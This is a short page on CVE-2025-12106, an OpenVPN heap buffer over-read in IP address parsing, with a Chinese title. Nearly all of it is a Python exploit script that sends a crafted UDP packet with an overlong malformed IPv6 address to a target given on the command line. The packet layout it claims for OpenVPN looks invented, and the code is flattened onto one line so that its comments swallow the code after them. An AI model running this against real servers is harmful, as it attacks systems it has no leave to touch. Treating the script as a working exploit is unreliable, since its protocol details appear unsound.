CVE-2025-12106 OpenVPN IP地址解析堆缓冲区越界读取漏洞

# CVE-2025-12106 PoC - OpenVPN Heap Buffer Over-Read # This PoC demonstrates the vulnerability in IP address parsing import socket import struct def create_malformed_ip_packet(): """ Create a malformed packet that triggers heap buffer over-read in OpenVPN IP address parsing (versions 2.7_alpha1 to 2.7_rc1) """ # IPv6 address with unusual format that triggers over-read # The parser may read beyond allocated buffer when processing # this address format malicious_ipv6 = "2001:db8::1:" + "x" * 100 + ":80" # Construct OpenVPN packet with malicious IP packet = bytearray() # OpenVPN header packet.extend(b'\x00\x00\x00\x00') # Session ID packet.extend(b'\x00\x01') # Packet ID packet.extend(b'\x00') # Flags # Malicious payload with IP address payload = f"remote {malicious_ipv6} 1194\n".encode() packet.extend(struct.pack('>H', len(payload))) # Length packet.extend(payload) return bytes(packet) def exploit(target_ip, target_port=1194): """ Send malicious packet to trigger the vulnerability """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_ip_packet() try: sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malicious packet sent to {target_ip}:{target_port}") print(f"[+] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] exploit(target) else: print("Usage: python cve-2025-12106-poc.py <target_ip>")